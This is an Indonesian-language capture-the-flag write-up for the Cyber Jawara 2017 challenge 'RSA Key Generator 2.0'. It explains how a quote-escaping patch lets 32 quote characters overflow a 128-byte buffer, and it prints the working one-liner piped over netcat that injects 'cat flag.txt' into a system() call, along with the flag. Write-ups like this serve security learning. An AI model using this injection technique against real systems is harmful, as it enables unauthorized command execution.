[Cyber Jawara Quals 2017] RSA Key Generator 2.0 (175 Poin)
Masalah
Diberikan berkas rsa_keygen2
, berkas rsa_keygen2.c
, dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 41337
. Layanan dapat digunakan untuk membangkitkan pasangan kunci RSA dengan bahasa pemrograman C dan ada pula patch untuk versi sebelumnya.
Penyelesaian
Pengumpulan Informasi
Kami memeriksa jenis berkas dan keamanan yang ada didalamnya dengan file
dan checksec
.
$ file rsa_keygen2
rsa_keygen2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=97f0c247e8b7f7d44d884f18d9954cd504f2a4e2, not stripped
$ checksec rsa_keygen2
[*] '/home/.../rsa_keygen2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Berdasarkan informasi diatas, keamanan binary untuk PIE tidak diaktifkan dan arsitektur yang digunakan adalah Linux 64 bit. Sedangkan alur program dapat ditelusuri melalui source code rsa_keygen.c
dimana program meminta input berupa string antara 4-127 karakter sebagai passphrase yang digunakan dalam fungsi system
. Adapun tambahan patch dengan fungsi escape_gets
dimana satu karakter quote digantikan strong quotes yang berjumlah 4 karakter.
size_t escape_gets(char *pass, size_t limit) {
size_t sz;
char c;
sz = 0;
while (sz++ < limit) {
c = getchar();
if (c == '\n' || c == '\0') {
break;
} else if (c == '\'') {
*pass++ = '\'';
*pass++ = '\\';
*pass++ = '\'';
*pass++ = '\'';
} else {
*pass++ = c;
}
}
*pass = '\0';
return sz;
}
Identifikasi Kelemahan
Berdasarkan informasi diatas, terdapat kelemahan pada kode yang baru escape_gets
. Injeksi kode dapat dilakukan dengan memanfaatkan struktur kondisi dengan memasukkan karakter quote sebanyak 32 kali sehingga jumlah buffer menjadi 128 karakter. Ini menyebabkan stack dapat dikendalikan dan bisa menginjeksi kode cat flag.txt
ke server.
$ python -c 'print "\x27"*32 + "cat flag.txt"' | nc cj2k17.ctf.idsirtii.or.id 41337
Luaran
--//-- CJ RSA Key Generator --//--
Passphrase:
CJ2017{overwriting_array_with_overflow_is_really_c0mm0n}
Flag yang didapat adalah CJ2017{overwriting_array_with_overflow_is_really_c0mm0n}
.